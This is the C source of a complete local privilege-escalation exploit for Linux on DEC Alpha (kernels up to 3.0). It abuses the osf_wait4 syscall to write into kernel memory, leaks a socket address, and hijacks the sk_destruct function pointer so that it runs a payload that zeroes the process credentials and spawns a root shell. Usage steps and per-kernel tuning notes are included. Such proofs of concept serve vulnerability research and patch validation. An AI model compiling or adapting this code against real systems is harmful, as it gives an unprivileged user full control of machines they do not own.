/*
* DEC Alpha Linux <= 3.0 local root exploit
* by Dan Rosenberg (@djrbliss)
*
* Usage:
* $ gcc alpha-omega.c -o alpha-omega
* $ ./alpha-omega
*
* Notes:
* -Payload specific to <= 2.6.28 (no cred struct, modify as needed)
* -Socket trigger tested on 2.6.28 (adjust offset as needed)
* -INET_DIAG parsing code borrowed from netstat
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <netinet/in.h>
#define SYS_osf_wait4 7
#define SOCK_OFFSET 552 /* Offset of sk_destruct fptr in sock
* struct, change for your kernel */
#define PAGE_SIZE 8192 /* DEC alpha page size is 8K */
#define KERNEL_BASE 0xfffffc0000000000 /* DEC alpha PAGE_OFFSET */
#define TASK_STRUCT_OFFSET 64 /* task_struct offset in thread_info */
#define PAYLOAD 0x20000
#define PORT 31337
static int uid, gid;
/* Writes (0xff & value) << 8 to addr */
void kernel_write(unsigned long addr, int value)
{
int pid = fork();
if (pid) {
/* wait4 backdoor number two? ;) */
syscall(SYS_osf_wait4, pid, (int *)addr, 0, 1);
return;
} else {
exit(value);
}
}
/* Get the INET_DIAG cookie for our socket, which contains the low 32 bits
* of the sock struct address */
unsigned int get_cookie(unsigned int port)
{
int fd;
struct sockaddr_nl nladdr;
struct {
struct nlmsghdr nlh;
struct inet_diag_req r;
} req;
struct msghdr msg;
char buf[8192];
struct iovec iov;
struct inet_diag_msg *r;
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_INET_DIAG)) < 0)
return -1;
memset(&nladdr, 0, sizeof(nladdr));
nladdr.nl_family = AF_NETLINK;
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = TCPDIAG_GETSOCK;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_pid = 0;
req.nlh.nlmsg_seq = 123456;
memset(&req.r, 0, sizeof(req.r));
req.r.idiag_family = AF_INET;
req.r.idiag_states = 0xfff;
req.r.idiag_ext = 0;
iov.iov_base = &req;
iov.iov_len = sizeof(req);
msg = (struct msghdr) {
.msg_name = (void*)&nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
if (sendmsg(fd, &msg, 0) < 0) {
close(fd);
return -1;
}
iov.iov_base = buf;
iov.iov_len = sizeof(buf);
while (1) {
int status;
struct nlmsghdr *h;
msg = (struct msghdr) {
(void*)&nladdr, sizeof(nladdr),
&iov, 1, NULL, 0, 0
};
status = recvmsg(fd, &msg, 0);
if (status < 0) {
if (errno == EINTR)
continue;
close(fd);
return -1;
}
if (status == 0) {
close(fd);
return -1;
}
h = (struct nlmsghdr*)buf;
while (NLMSG_OK(h, status)) {
if (h->nlmsg_seq == 123456) {
if (h->nlmsg_type == NLMSG_DONE) {
close(fd);
return -1;
}
if (h->nlmsg_type == NLMSG_ERROR) {
close(fd);
return -1;
}
r = NLMSG_DATA(h);
if (r->idiag_family == AF_INET &&
ntohs(r->id.idiag_sport) == port)
return r->id.idiag_cookie[0];
}
h = NLMSG_NEXT(h, status);
}
}
close(fd);
return -1;
}
/* Get the address of the sock struct for our socket */
unsigned long get_sock_addr(unsigned int port)
{
FILE *f;
char buf[1024], path[512];
unsigned int testport, cookie, a;
unsigned long addr, b;
f = fopen("/proc/net/tcp", "r");
if (f < 0) {
printf("[*] Failed to open /proc/net/tcp\n");
return 0;
}
while (fgets(buf, 1024, f)) {
sscanf(buf, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X "
"%02X:%08lX %08X %5d %8d %lu %d %p %lu %lu %u %u "
"%d\n",
&a, &a, &testport, &a, &a, &a, &a, &a, &a, &b,
&a, &a, &a, &b, &a, (void **)&addr, &b, &b, &a, &a,
&a);
if (testport == port) {
/* If kptr_restrict is on... */
if (!addr) {
cookie = get_cookie(port);
addr = (unsigned long)cookie + KERNEL_BASE;
}
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
void getroot()
{
int i;
/* Alpha has 16K stacks */
unsigned long thread_info = (unsigned long)&i & ~0x3fff;
unsigned long task_struct = *(unsigned long *)(thread_info +
TASK_STRUCT_OFFSET);
int *j = (int *)task_struct;
for (i = 0; i < 1000; i++, j++) {
if (j[0] == uid && j[1] == uid && j[2] == uid && j[3] == uid &&
j[4] == gid && j[5] == gid && j[6] == gid && j[7] == gid) {
/* uid, euid, suid, fsuid */
j[0] = j[1] = j[2] = j[3] = 0;
/* gid, egid, sgid, fsgid */
j[4] = j[5] = j[6] = j[7] = 0;
/* caps */
j[10] = j[11] = 0xffffffff;
j[12] = j[13] = 0xffffffff;
j[14] = j[15] = 0xffffffff;
break;
}
}
}
void trampoline()
{
asm volatile( "mov %0, $0\n"
"ldq $27, 0($0)\n"
"jsr $26, ($27)\n"
: : "r"(PAYLOAD));
}
int main(int argc, char * argv[])
{
unsigned long target, *payload;
void *landing;
int sock;
struct sockaddr_in addr;
size_t len;
uid = getuid();
gid = getgid();
printf("[*] Opening TCP socket...\n");
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
printf("[*] Failed to open TCP socket.\n");
return -1;
}
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
printf("[*] Failed to bind TCP socket.\n");
return -1;
}
/* Our socket won't appear in /proc/net/tcp unless it's listening */
if (listen(sock, 1)) {
printf("[*] Failed to listen on TCP socket.\n");
return -1;
}
printf("[*] Getting socket address from INET_DIAG...\n");
target = get_sock_addr(PORT);
if (!target) {
printf("[*] Failed to get socket address.\n");
return -1;
}
printf("[*] Socket address: %lx\n", target);
target += SOCK_OFFSET;
printf("[*] Mapping payload...\n");
landing = mmap((void *)0x10000, PAGE_SIZE, PROT_READ | PROT_WRITE |
PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
0, 0);
/* We need to keep the address of our payload at a constant address,
* so we can retrieve it and jump to it in our trampoline. */
payload = (unsigned long *)mmap((void *)PAYLOAD, PAGE_SIZE,
PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE |
MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if (landing == MAP_FAILED || payload == MAP_FAILED) {
printf("[*] Failed to map payload.\n");
return -1;
}
*payload = (unsigned long)&getroot;
memcpy((void *)landing, &trampoline, 256);
printf("[*] Overwriting function pointer at %lx...\n", target);
kernel_write(target, 0);
kernel_write(target + 4, 0);
kernel_write(target + 1, 1);
printf("[*] Triggering payload...\n");
close(sock);
if (getuid()) {
printf("[*] Failed to get root.\n");
return -1;
}
printf("[*] Got root!\n");
execl("/bin/sh", "sh", NULL);
}
